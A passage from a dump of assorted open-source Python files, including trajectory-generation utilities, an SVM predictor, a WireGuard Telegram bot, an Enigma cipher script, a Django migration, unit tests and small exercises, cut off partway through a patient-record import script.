\n # Computing the DMP parameters\n trajectories = load_trajectories(directory)\n all_keys = sorted(trajectories.keys())\n \n y_track_dmp = {}\n dmp_w = {}\n for i_k,key in enumerate(all_keys):\n y_des = trajectories[key][0] \n n_dmps= y_des.shape[1] \n dmp = pydmps.dmp_discrete.DMPs_discrete(n_dmps=n_dmps, n_bfs=n_bfs, ay=np.ones(2)*10.0)\n dmp.imitate_path(y_des=y_des.T, plot=False)\n \n y_track, _, _ = dmp.rollout()\n y_track_dmp[key] = y_track\n dmp_w[key] = dmp.w\n \n \n \n #plot_trajectories(trajectories, y_track_dmp, plot_dmp=plot_dmp)\n \n \n # Generate dataset\n # Create a batch of initial states and DMP parameters\n #batch_size_per_digit = 2560\n batch_y0 = []\n batch_w = []\n batch_rand = []\n rand_factor = [1000,100,50,100,20,50,50,50,1000,50]\n true_class = []\n for i_k,key in enumerate(all_keys):\n canonical_x = np.array([1.,1.])\n traj_goal = trajectories[key][0][-1,:]\n traj_start = trajectories[key][0][0,:]\n d_traj = np.array([0.,0.])\n cur_y0 = torch.tensor(np.concatenate([canonical_x,traj_goal,traj_start,d_traj,traj_start]),device=torch_device,dtype=torch_dtype).unsqueeze(0).repeat(batch_size_per_digit,1)\n \n cur_w = torch.tensor(dmp_w[key], device=torch_device,dtype=torch_dtype)\n cur_w = cur_w.unsqueeze(0).repeat(batch_size_per_digit,1,1)\n \n batch_rand.append(torch.randn_like(cur_w)*rand_factor[i_k])\n batch_y0.append(cur_y0)\n batch_w.append(cur_w)\n true_class.extend([i_k]*batch_size_per_digit)\n \n batch_y0 = torch.cat(batch_y0)\n batch_w = torch.cat(batch_w)\n batch_rand = torch.cat(batch_rand)\n \n batch_w = batch_w + batch_rand\n \n print('The size of the batch W is {}'.format(batch_w.size()))\n \n func = DMPFunc(dt, run_time, n_bfs, n_dmps, torch_dtype, init_w=batch_w)\n func = func.to(torch_device)\n \n batch_t = torch.arange(0.,run_time,dt, device=torch_device,dtype=torch_dtype)\n \n import time\n t0 = time.time()\n pred_y = odeint(func, batch_y0, batch_t,method='euler')\n print('odeint took {} s'.format(time.time()-t0))\n \n pred_y = pred_y[:,:,[8,9]]\n \n true_class = np.array(true_class)\n# from sklearn.preprocessing import OneHotEncoder\n# onehot_encoder = OneHotEncoder(sparse=False)\n# onehot_encoded = onehot_encoder.fit_transform(np.array(true_class)[:,None])\n \n return pred_y,batch_t,true_class\n\n\n\ndef plot_multi_stroke(saved_traj,title=None): \n colors = plt.cm.get_cmap('hsv', len(saved_traj)+1)\n for c_i,cur_stroke in enumerate(saved_traj):\n cs = np.array(cur_stroke)\n plt.plot(cs[:,0],cs[:,1],c=colors(c_i))\n \n plt.xlim([0, 1])\n plt.ylim([0, 1])\n if title is not None:\n plt.title(title) \n plt.axis('off') \n \n \n \ndef affine_transform(pred_y,torch_device,torch_dtype):\n pred_y = pred_y * (torch.rand((1,pred_y.size(1),2),device=torch_device,dtype=torch_dtype)+1) \n max_traj = (torch.max(pred_y,0))[0]\n min_traj = (torch.min(pred_y,0))[0]\n traj_div = torch.max(max_traj-min_traj,dim=1)[0]/1.3#1.8 \n traj_offset = min_traj+(max_traj-min_traj)/2. + (torch.rand((pred_y.size(1),2),device=torch_device,dtype=torch_dtype)-.5)/5\n pred_y = (pred_y-traj_offset)/traj_div.unsqueeze(-1).repeat(1,traj_offset.size(1))/2.+0.5\n return pred_y \n\n\n\n\ndef plot_res(cur_pred_y,cur_x,width,height,torch_dtype,torch_device):\n plt_samples = 80#64\n prod_img = traj2img(cur_pred_y[:,:plt_samples,:],width,height,torch_dtype,torch_device,rbf_w=2000)\n real_img = cur_x[:plt_samples]\n \n real_img = real_img.data.view(\n plt_samples, 1, 28,28).cpu().repeat(1,3,1,1)\n \n prod_img = prod_img.data.view(\n plt_samples, 28,28).cpu()\n \n img_mask = prod_img>.001\n \n ch0 = real_img[:,0,:,:]\n ch1 = real_img[:,1,:,:]\n ch2 = real_img[:,2,:,:]\n \n ch0[img_mask] = (1-prod_img[img_mask])*ch0[img_mask]\n ch1[img_mask] = (1-prod_img[img_mask])*ch1[img_mask]\n ch2[img_mask] = prod_img[img_mask] + (1-prod_img[img_mask])*ch2[img_mask]\n \n real_img[:,0,:,:] = ch0\n real_img[:,1,:,:] = ch1\n real_img[:,2,:,:] = ch2\n \n return real_img\n\ndef apply_affine(cur_pred_y,torch_device,torch_dtype):\n #tot_samp = cur_pred_y.size(1)*cur_pred_y.size(0)\n #tmp_pred_y = torch.cat([cur_pred_y.view(-1,2),cat_ones[:tot_samp]],dim=1).unsqueeze(-1)\n \n rotation_m = torch.zeros((cur_pred_y.size(1),2,2),device=torch_device,dtype=torch_dtype)\n angles = (torch.rand(cur_pred_y.size(1),device=torch_device,dtype=torch_dtype)-0.5)*2*math.pi/6\n rotation_m[:,0,0] = torch.cos(angles)\n rotation_m[:,0,1] = torch.sin(angles)\n rotation_m[:,1,0] = -torch.sin(angles)\n rotation_m[:,1,1] = torch.cos(angles)\n \n shear_m = torch.ones((cur_pred_y.size(1),2,2),device=torch_device,dtype=torch_dtype)\n shear_f = (torch.rand(cur_pred_y.size(1),device=torch_device,dtype=torch_dtype)-0.5)*1\n shear_m[:,1,0] = 0\n shear_m[:,0,1] = shear_f\n \n affine_theta = torch.bmm(shear_m,rotation_m)\n \n tmp_pred_y = cur_pred_y.view(-1,2).unsqueeze(-1)\n m1 = affine_theta.repeat(cur_pred_y.size(0),1,1)\n m2 = tmp_pred_y\n final_pred_y = torch.bmm(m1,m2).view(cur_pred_y.size())\n \n final_pred_y = affine_transform(final_pred_y,torch_device,torch_dtype)\n \n return final_pred_y\n\n\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"279508141","text":"# Andy Liu\n\nimport numpy as np\nimport scipy.io\nfrom sklearn import svm\nimport sklearn.model_selection\nimport pickle\nimport time\n\n# Load the training data\ntraining_data_path = '../handouts/data_mat/data_batch'\ndata = scipy.io.loadmat(training_data_path)\nX, y = data['data'], data['labels']\n\nprint(X.shape)\nprint(y.shape)\n\n# Load the test data\ntest_data_path = '../handouts/data_mat/test_data'\ndata = scipy.io.loadmat(test_data_path)\n\n# Process the test data\nx_test = data['data']\n# x_test = np.reshape(x_test, (x_test.shape[0], 3, 32, 32))\n# x_test = np.swapaxes(x_test, 1, 2)\n# x_test = np.swapaxes(x_test, 2, 3)\n# x_test = np.reshape(x_test, (x_test.shape[0], 3072))\n\nprint(x_test.shape)\n\n# Load the model\nmodel_path = 'saved_svm_model.pkl'\nSVM_model = pickle.load(open(model_path, 'rb'))\n\n# Generate predictions\nstart_time = time.time()\npredictions = SVM_model.predict(x_test)\nprint('--- %s seconds elapsed ---' % (time.time() - start_time))\n\n# Save predictions to csv\nnp.savetxt('SVM_results2.csv', predictions, delimiter=',')\n","sub_path":"svm/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"549794246","text":"#ARQUIVO COM SUAS FUNCOES\nfrom __future__ import division\ndef pi(x):\n s=3\n a=0\n i1=2\n i2=3\n i3=4\n while(a<x):\n y=((4)/(i1*i2*i3))\n if (i3)%4==0:\n s=s+y\n else:\n s=s-y\n i1=i1+2\n i2=i2+2\n i3=i3+2\n a=a+1\n return s \ndef modulo(x):\n if x<0:\n x=x*-1\n return x\n else:\n return x\ndef fatorial(i):\n fatorial=1\n while(i>=1):\n fatorial=fatorial*i\n i=i-1\n return fatorial \ndef cos(z,e):\n s=1\n e=modulo(e)\n i=2\n c=fatorial(i)\n y=((x**2)/(c)) \n while(y>e):\n c=fatorial(i)\n y=((x**2)/(c))\n if i%4==0:\n s=s+y\n else:\n s=s-y\n i=i+2 \n x=(x)*(x**2)\n return s\ndef aurea(m,e):\n l=pi(m)\n c=cos((l/5),e)\n a=(2*c)\n return a\n ","sub_path":"moodledata/vpl_data/40/usersdata/132/19599/submittedfiles/funcoes.py","file_name":"funcoes.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"108357290","text":"#!/usr/bin/env python3\n# Author: 'UltraDesu <ab@hexor.ru>'\n# Home: https://github.com/house-of-vanity/Wireguard-Peer-Manager\n\nimport logging\nimport os\nimport sys\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update\nfrom telegram.ext import Updater, MessageHandler, CommandHandler, filters, CallbackQueryHandler, CallbackContext\nfrom gen import add_peer as wg_add_peer\nfrom gen import update_configs\nfrom gen import list_peers as wg_list_peers\nfrom gen import del_peer as wg_del_peer\n\n\nlogging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nlog = logging.getLogger(__name__)\ntoken = os.environ.get('TG_TOKEN')\nadmin = os.environ.get('TG_ADMIN')\nif not token or not admin:\n log.error(\"Env var TG_TOKEN or TG_ADMIN aren't set.\")\n sys.exit(1)\n\ndef _help(update, context):\n update.message.reply_text('<b>Help:</b>\\n <b>*</b> /add <i>peer name</i>\\n <b>*</b> /del <i>peer name</i>\\n <b>*</b> /list [<i>peer name</i>]', parse_mode='HTML', disable_web_page_preview=True)\n\ndef auth(handler):\n def wrapper(update, context):\n if update.message.chat.username != admin:\n update.message.reply_text(\n 'You are not allowed to do that.', parse_mode='HTML', disable_web_page_preview=True)\n return False\n handler(update, context)\n return wrapper\n\n@auth\ndef list_peers(update, context):\n if len(update.message.text.split()) == 1:\n n = 1\n message = \"Peers:\\n<code>\"\n for peer in wg_list_peers():\n message += f\"{n} * {peer['ip']}: {peer['name']}\\n\"\n n += 1\n update.message.reply_text(f\"{message}</code>\", parse_mode='HTML', disable_web_page_preview=True)\n else:\n peer_name = \"_\".join(update.message.text.split()[1:])\n try:\n update.message.reply_photo(\n open(f'clients/{peer_name}-qr.png', 'rb'), filename=f'{peer_name} QR.png', quote=True, caption=open(f'clients/{peer_name}.conf', 'r').read())\n except:\n update.message.reply_text(\"Wrong client name.\")\n\n@auth\ndef del_peer(update, context):\n if len(update.message.text.split()) < 2:\n _help(update, context)\n return False\n peer_name = \"_\".join(update.message.text.split()[1:])\n log.info(\"Deleting peer %s\", peer_name)\n wg_del_peer(peer_name)\n update.message.reply_text(\"Done.\")\n\n@auth\ndef add_peer(update, context):\n if len(update.message.text.split()) < 2:\n _help(update, context)\n return False\n peer_name = \"_\".join(update.message.text.split()[1:])\n log.info(\"Creating peer %s\", peer_name)\n wg_add_peer(peer_name)\n update.message.reply_photo(open(f'clients/{peer_name}-qr.png', 'rb'), filename=f'{peer_name} QR.png', quote=True, caption=open(f'clients/{peer_name}.conf', 'r').read())\n\ndef error(update, context):\n update.message.reply_text(\"Something went wrong...\")\n\ndef main():\n updater = Updater(token, use_context=True)\n updater.dispatcher.add_error_handler(error)\n updater.dispatcher.add_handler(CommandHandler('add', add_peer))\n updater.dispatcher.add_handler(CommandHandler('list', list_peers))\n updater.dispatcher.add_handler(CommandHandler('del', del_peer))\n updater.dispatcher.add_handler(MessageHandler(filters.Filters.text, _help))\n updater.start_polling()\n updater.idle()\n\nif __name__ == '__main__':\n log = logging.getLogger('WireGuard-GenBot')\n main()\n\n\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"153668404","text":"alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\ncount_I = int(input(\"Instelling rotorI: \"))\nif count_I < 0:\n count_I += 26\nelif count_I > 26:\n count_I -= 26\n\ncount_II = int(input(\"Instelling rotorII: \"))\nif count_II < 0:\n count_II += 26\nelif count_II > 26:\n count_II -= 26\n\ncount_III = int(input(\"Instelling rotorIII: \"))\nif count_III < 0:\n count_III += 26\nelif count_III > 26:\n count_III -= 26\n\ninput = input(\"Typ een letter: \")\nschakelbord = {\"a\":\"a\",\n \"b\":\"z\",\n \"c\":\"c\",\n \"d\":\"d\",\n \"e\":\"e\",\n \"f\":\"f\",\n \"g\":\"g\",\n \"h\":\"h\",\n \"i\":\"i\",\n \"j\":\"j\",\n \"k\":\"k\",\n \"l\":\"l\",\n \"m\":\"m\",\n \"n\":\"n\",\n \"o\":\"o\",\n \"p\":\"p\",\n \"q\":\"q\",\n \"r\":\"r\",\n \"s\":\"s\",\n \"t\":\"t\",\n \"u\":\"u\",\n \"v\":\"v\",\n \"w\": \"w\",\n \"x\": \"x\",\n \"y\": \"y\",\n \"z\": \"z\"}\n\nheen_rotorI = schakelbord[input]\n\nnum_enter_rotorI = alphabet.find(heen_rotorI) + count_I\nprint (alphabet.find(heen_rotorI))\nprint (num_enter_rotorI)\nif num_enter_rotorI < 0:\n num_enter_rotorI += 26\nelif num_enter_rotorI > 26:\n num_enter_rotorI -= 26\n\nrotor_I_in = alphabet[num_enter_rotorI]\n\nrotor_I ={ \"a\":\"e\",\n \"b\":\"k\",\n \"c\":\"m\",\n \"d\":\"f\",\n \"e\":\"l\",\n \"f\":\"g\",\n \"g\":\"d\",\n \"h\":\"q\",\n \"i\":\"v\",\n \"j\":\"z\",\n \"k\":\"n\",\n \"l\":\"t\",\n \"m\":\"o\",\n \"n\":\"w\",\n \"o\":\"y\",\n \"p\":\"h\",\n \"q\":\"x\",\n \"r\":\"u\",\n \"s\":\"s\",\n \"t\":\"p\",\n \"u\":\"a\",\n \"v\":\"i\",\n \"w\":\"b\",\n \"x\":\"r\",\n \"y\":\"c\",\n \"z\":\"j\" }\n\nrotor_I_uit = alphabet[alphabet.find(rotor_I[rotor_I_in]) - count_I]\n\nnum_rotII_in = alphabet.find(rotor_I_uit) - count_II\nheen_rotorII = alphabet[num_rotII_in]\nprint (heen_rotorII)\n\ncount_I += 1\n\nnum_enter_rotorII = num_rotII_in + count_II\nprint (alphabet[num_enter_rotorII])\nprint (num_enter_rotorII)\nif num_enter_rotorII < 0:\n num_enter_rotorII += 26\nelif num_enter_rotorII > 26:\n num_enter_rotorII -= 26\n\nrotor_II_in = alphabet[num_enter_rotorII]\n\nrotor_II ={\"a\":\"a\",\n \"b\":\"j\",\n \"c\":\"d\",\n \"d\":\"k\",\n \"e\":\"s\",\n \"f\":\"i\",\n \"g\":\"r\",\n \"h\":\"u\",\n \"i\":\"x\",\n \"j\":\"b\",\n \"k\":\"l\",\n \"l\":\"h\",\n \"m\":\"w\",\n \"n\":\"t\",\n \"o\":\"m\",\n \"p\":\"c\",\n \"q\":\"q\",\n \"r\":\"g\",\n \"s\":\"z\",\n \"t\":\"n\",\n \"u\":\"p\",\n \"v\":\"y\",\n \"w\":\"f\",\n \"x\":\"v\",\n \"y\":\"o\",\n \"z\":\"e\" }\n\nrotor_II_uit = alphabet[alphabet.find(rotor_II[rotor_II_in]) - count_II]\n\nnum_rotIII_in = alphabet.find(rotor_II_uit) - count_III\nheen_rotorIII = alphabet[num_rotIII_in]\nprint (heen_rotorIII)\n\nnum_enter_rotorIII = num_rotIII_in + count_III\nprint (alphabet[num_enter_rotorIII])\nprint (num_enter_rotorIII)\nif num_enter_rotorIII < 0:\n num_enter_rotorIII += 26\nelif num_enter_rotorIII > 26:\n num_enter_rotorIII -= 26\n\nrotor_III_in = alphabet[num_enter_rotorIII]\n\nrotor_III ={\"a\":\"b\",\n \"b\":\"d\",\n \"c\":\"f\",\n \"d\":\"h\",\n \"e\":\"j\",\n \"f\":\"l\",\n \"g\":\"c\",\n \"h\":\"p\",\n \"i\":\"r\",\n \"j\":\"t\",\n \"k\":\"x\",\n \"l\":\"v\",\n \"m\":\"z\",\n \"n\":\"n\",\n \"o\":\"y\",\n \"p\":\"e\",\n \"q\":\"i\",\n \"r\":\"w\",\n \"s\":\"g\",\n \"t\":\"a\",\n \"u\":\"k\",\n \"v\":\"m\",\n \"w\":\"u\",\n \"x\":\"s\",\n \"y\":\"q\",\n \"z\":\"o\" }\nrotor_III_uit = alphabet[alphabet.find(rotor_III[rotor_III_in]) - count_III]\n\nnum_ref_in = alphabet.find(rotor_III_uit) - count_III\nheen_ref = alphabet[num_ref_in]\nprint (heen_ref)\n\n#als Count_I 17 is (dus van Q naar R springt) count_II += 1\ndictionary_B = { \"a\":\"y\",\n \"b\":\"r\",\n \"c\":\"u\",\n \"d\":\"h\",\n \"e\":\"q\",\n \"f\":\"s\",\n \"g\":\"l\",\n \"h\":\"d\",\n \"i\":\"p\",\n \"j\":\"x\",\n \"k\":\"n\",\n \"l\":\"g\",\n \"m\":\"o\",\n \"n\":\"k\",\n \"o\":\"m\",\n \"p\":\"i\",\n \"q\":\"e\",\n \"r\":\"b\",\n \"s\":\"f\",\n \"t\":\"z\",\n \"u\":\"c\",\n \"v\":\"w\",\n \"w\": \"v\",\n \"x\": \"j\",\n \"y\": \"a\",\n \"z\": \"t\"}\n\nenters_ref_heen = heen_ref #uitkomst van de derde rotor, moet nog gefixt\nfor key in dictionary_B:\n if enters_ref_heen == key:\n exit_ref_heen = dictionary_B[key] #gaat weer terug de derde rotor in\n print (exit_ref_heen)\n","sub_path":"Inez/enigma met veel variabelen/heen door rotors + ref + plugboard.py","file_name":"heen door rotors + ref + plugboard.py","file_ext":"py","file_size_in_byte":5007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"487232859","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Account',\n fields=[\n ('acc_number', models.PositiveIntegerField(serialize=False, max_length=5, primary_key=True)),\n ('person_from', models.DateTimeField()),\n ('person_to', models.DateTimeField(blank=True)),\n ('dept_from', models.DateTimeField()),\n ('dept_to', models.DateTimeField(blank=True)),\n ('build_from', models.DateTimeField()),\n ('build_to', models.DateTimeField(blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='boss_of',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ],\n ),\n migrations.CreateModel(\n name='building',\n fields=[\n ('addr', models.CharField(serialize=False, max_length=150, primary_key=True)),\n ],\n ),\n migrations.CreateModel(\n name='cdr',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('provider_name', models.CharField(max_length=50)),\n ('billsec', models.IntegerField()),\n ('ans_st', models.DateTimeField()),\n ('start_st', models.DateTimeField()),\n ('end_st', models.DateTimeField()),\n ('dest_numb', models.CharField(max_length=12)),\n ('source_number', models.ForeignKey(to='bill.Account')),\n ],\n ),\n migrations.CreateModel(\n name='Department',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('Name', models.CharField(max_length=150)),\n ('Treshhold', models.PositiveIntegerField(blank=True, null=True)),\n ],\n ),\n migrations.CreateModel(\n name='Head_department',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('head_from', models.DateTimeField()),\n ('head_to', models.DateTimeField(blank=True, null=True)),\n ('dept_id', models.ForeignKey(to='bill.Department')),\n ('head_id', models.ForeignKey(to='bill.Department', related_name='head_dept')),\n ],\n ),\n migrations.CreateModel(\n name='match_building_to_dept',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('m_from', models.DateTimeField()),\n ('m_to', models.DateTimeField()),\n ('building_addr', models.ForeignKey(to='bill.building')),\n ('dept_id', models.ForeignKey(to='bill.Department')),\n ],\n ),\n migrations.CreateModel(\n name='Person',\n fields=[\n ('Name', models.CharField(max_length=100, verbose_name='Name')),\n ('Principal_name', models.CharField(max_length=100, verbose_name='Principal Name')),\n ('Treshhold', models.PositiveIntegerField(verbose_name='Treshhold', blank=True, null=True)),\n ('r61GlobalKey', models.CharField(serialize=False, max_length=100, verbose_name='Snils', primary_key=True)),\n ],\n options={\n 'verbose_name': 'Person',\n 'verbose_name_plural': 'Persons',\n },\n ),\n migrations.CreateModel(\n name='Prices_for_dest',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('provider_name', models.CharField(max_length=50)),\n ('price', models.DecimalField(decimal_places=3, max_digits=5)),\n ('dest', models.CharField(max_length=12)),\n ],\n ),\n migrations.CreateModel(\n name='Admin',\n fields=[\n ('r61GlobalKey', models.ForeignKey(serialize=False, primary_key=True, to='bill.Person')),\n ],\n ),\n migrations.CreateModel(\n name='Boss',\n fields=[\n ('r61GlobalKey', models.ForeignKey(serialize=False, primary_key=True, to='bill.Person')),\n ],\n ),\n migrations.AddField(\n model_name='boss_of',\n name='department_id',\n field=models.ForeignKey(to='bill.Department'),\n ),\n migrations.AddField(\n model_name='account',\n name='build_id',\n field=models.ForeignKey(to='bill.building'),\n ),\n migrations.AddField(\n model_name='account',\n name='dept_id',\n field=models.ForeignKey(to='bill.Department'),\n ),\n migrations.AddField(\n model_name='account',\n name='person_id',\n field=models.ForeignKey(to='bill.Person'),\n ),\n migrations.AddField(\n model_name='boss_of',\n name='boss_id',\n field=models.ForeignKey(to='bill.Boss'),\n ),\n ]\n","sub_path":"bill/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":5523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"244989222","text":"from unittest import TestCase\n\nfrom BribeNet.bribery.temporal.nonBriber import NonBriber\nfrom BribeNet.graph.temporal.action.actionType import ActionType\nfrom BribeNet.graph.temporal.thresholdGraph import ThresholdGraph\nfrom unittest.mock import MagicMock\n\n\nclass TestThresholdGraph(TestCase):\n\n def setUp(self) -> None:\n self.rg = ThresholdGraph((NonBriber(10), NonBriber(10)), threshold=0.4, q=0.5)\n\n def tearDown(self) -> None:\n del self.rg\n\n def test_customer_action_runs_successfully(self):\n self.rg.step()\n self.rg.step()\n action = self.rg.get_last_customer_action()\n self.assertIsNotNone(action)\n self.assertTrue(action.get_performed())\n\n def test_customer_action_no_votes_runs_successfully(self):\n self.rg.get_rating = MagicMock(return_value=0)\n self.rg.step()\n self.rg.step()\n action = self.rg.get_last_customer_action()\n self.assertIsNotNone(action)\n for k in action.actions:\n self.assertNotEqual(action.actions[k], ActionType.SELECT)\n self.assertTrue(action.get_performed())\n\n def test_customer_action_disconnected_graph_runs_successfully(self):\n self.rg._neighbours = MagicMock(return_value=[])\n self.rg._q = 0.5\n self.rg.step()\n self.rg.step()\n action = self.rg.get_last_customer_action()\n self.assertIsNotNone(action)\n for k in action.actions:\n self.assertEqual(action.actions[k][0], ActionType.SELECT)\n self.assertTrue(action.get_performed())\n","sub_path":"test/BribeNet/graph/temporal/test_thresholdGraph.py","file_name":"test_thresholdGraph.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"69966381","text":"from bin.parser import *\nimport csv\n\nusers = parse_users(\"./html/friends.htm\")\nposts = parse_timeline(\"./html/timeline.htm\")\nthreads = parse_messages(\"./html/messages.htm\")\nevents = parse_events(\"./html/events.htm\")\n\nmsgs = []\nfor thread in threads:\n for msg in thread.msgs:\n msgs.append(msg)\n \ndef write_csv(Obj, objects, filename):\n with open(filename, 'w') as csvfile:\n writer = csv.writer(csvfile,delimiter='|')\n writer.writerow(Obj.fields)\n for o in objects:\n try:\n row = [];\n for field in Obj.fields:\n if field == \"msgs\":\n for msg in getattr(o, \"msgs\"):\n row.append(msg.msg.replace('\\n', ' ').replace('\\r', '').strip() + ', ')\n else:\n row.append(getattr(o, field))\n writer.writerow(row)\n except UnicodeEncodeError:\n writer.writerow([\"UNICODE EORROR\"])\n \nwrite_csv(User, users, './csv/friends.csv')\nwrite_csv(Post, posts, './csv/posts.csv')\nwrite_csv(Thread, threads, './csv/threads.csv')\nwrite_csv(Event, events, './csv/events.csv')\nlast_year = filter(lambda x: \"2015\" in x.meta, msgs)\nwrite_csv(Message, last_year[-len(last_year)/2:], './csv/messages.csv')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"127227953","text":"def obeb(say1,say2):\n i=1\n ebob=1\n while(say1>=i and say2>=i):\n if(not(say1 % i) and not(say2 % i)):\n ebob=i\n i+=1\n return ebob\n\nalinandeger = int(input(\"sayi 1 i giriniz.. \"))\nalinandeger2 = int(input(\"sayi 2 yi giriniz.. \"))\n\nprint(obeb(alinandeger,alinandeger2))","sub_path":"Ogrenciler/Erdogan-Canbay/obeb.py","file_name":"obeb.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"343021885","text":"#-*- coding: utf-8 -*-\nfrom typing import List\nimport math\n\nimport time\ndef timeit(func):\n def wrapped(*args, **kwargs):\n start = time.time()\n ret = func(*args, **kwargs)\n elapsed = time.time() - start\n print(\"elapsed: %s\" % elapsed)\n return ret\n return wrapped\n\nimport sys\nsys.setrecursionlimit(314159265)\n\nclass Solution:\n def minCostClimbingStairs(self, cost: List[int]) -> int:\n N = len(cost)\n if N == 0: return 0\n if N == 1: return cost[0]\n dp = [0] * (N+1) # 10, 15, 20\n dp[0] = 0\n dp[1] = 0 # dp[0, 0, 10, 0]\n for i in range(2, N+1):\n dp[i] = min(\n dp[i-1] + cost[i-1], # cost:2, 10 + 20 = 30\n dp[i-2] + cost[i-2] # cost:1, 0 + 15 = 15\n )\n return dp[N]\n\n\nsamples = [\n ([10, 15, 20]),\n ([1, 100, 1, 1, 1, 100, 1, 1, 100, 1])\n]\n\n\nfor S in samples:\n ans = Solution().minCostClimbingStairs(S)\n print(ans)","sub_path":"lc/esy/20200125_esy_746_min_cost_climbing_stairs.py","file_name":"20200125_esy_746_min_cost_climbing_stairs.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"223083873","text":"\"\"\"\ncreated by goblinM 2019.5.8\n一些基本的函数的用法,特别简单的那种,如果需要每个函数的深入可以看middle_python/function_middle\n\"\"\"\n\n\nclass FunctionBase:\n # 绝对值\n def func_abs(self):\n return abs(-5)\n\n # 字典\n def func_dict(self):\n s_dict = dict()\n s_dict.setdefault(\"name\",\"goblinM\")\n s_dict.setdefault(\"age\",22)\n return s_dict\n\n # 最小值\n def func_min(self):\n min_list = [-1,2,4,1,5,6]\n return min(min_list)\n\n # 最大值\n def func_max(self):\n max_list = [-1,2,4,1,5,6]\n return max(max_list)\n\n # 这一块都写数值字符串的转化\n def func_str_num_tranc(self):\n num_str = '5'\n num_int = 5\n print(int(num_str)) #转整形\n print(str(num_int)) #转字符串\n print(float(num_int)) #整形转浮点型\n print(float(num_str)) #字符型转浮点型\n\n # 这一块写排序,是否逆序\n def func_sort_reversed(self):\n sort_list = [-1,2,4,7,3,9,5,7]\n print(sorted(sort_list)) #排序从大到小\n print(sorted(sort_list,reverse=True)) #排序并且逆序\n new_list = sort_list.sort(reverse=True)\n return new_list\n\n # 这一块写字符编码加上映射\n def func_str_code_map(self):\n print(ord('a'))\n print(chr(97))\n code_dict = {chr(n):n for n in range(97,124)}\n return code_dict\n\n # 这一块都是数据结构\n def func_data_struct(self):\n a = list() # 列表\n b = [1,2,3,4,5,6]\n a = b\n c = set(b) # 集合\n d = tuple(b) #元组\n print(\"list:\",a)\n print(\"set:\",c)\n print(\"tuple\",d)\n\n # 这块是range,enumerate\n def func_range_enum(self):\n test_dict = {\n 'a':4,\n 'b':6,\n 'c':2\n }\n for index,key in enumerate(test_dict):\n print(\"index:\"+str(index)+\",key:\"+key)\n for i in range(test_dict.get(key)):\n print(i)\n\n # 位置参数和关键词参数\n def func_args(self,one,two):\n return pow(one,two)\n\n # 魔力树\n def func_magic_tree(self):\n print(' *',' * *','* * *',' | ',sep='\\n')\n\n\nif __name__ == \"__main__\":\n obj = FunctionBase()\n print(obj.func_abs())\n print(obj.func_max())\n print(obj.func_min())\n print(obj.func_dict())\n obj.func_sort_reversed()\n obj.func_str_num_tranc()\n print(obj.func_str_code_map())\n obj.func_data_struct()\n obj.func_range_enum()\n # 位置参数\n print(obj.func_args(5,2))\n # 关键词参数\n print(obj.func_args(one=5,two=2))\n obj.func_magic_tree()\n","sub_path":"base_python/function_base.py","file_name":"function_base.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"480945558","text":"import csv\nfrom sys import argv\nfrom datetime import date\nfrom grakn.client import GraknClient\n\n\ndef parseDate(dateStr):\n\tmonth, day, year = map(\n\t\tlambda s: int(''.join(c for c in s if c.isdigit())[:4]),\n\t\tdateStr.split('/')[:3]\n\t)\n\t\n\twhile True:\n\t\ttry:\n\t\t\treturn date(year, month, min(day, 1))\n\t\texcept:\n\t\t\tday -= 1\n\n\ndef queryInsertPatientRecord(row):\n\tgroupID, patientID, accountNumber, firstName, middleInitial, lastName, birthDate, sex, currentStreet1, currentStreet2, currentCity, currentState, currentZipCode, previousFirstName, previousMiddleInitial, previousLastName, previousStreet1, previousStreet2, previousCity, previousState, previousZipCode = (\n\t\trow[prop] for prop in\n\t\t('GroupID', 'PatientID', 'Patient Acct #', 'First Name', 'MI', 'Last Name', 'Date of Birth', 'Sex', 'Current Street 1', 'Current Street 2', 'Current City', 'Current State', 'Current Zip Code', 'Previous First Name', 'Previous MI', 'Previous 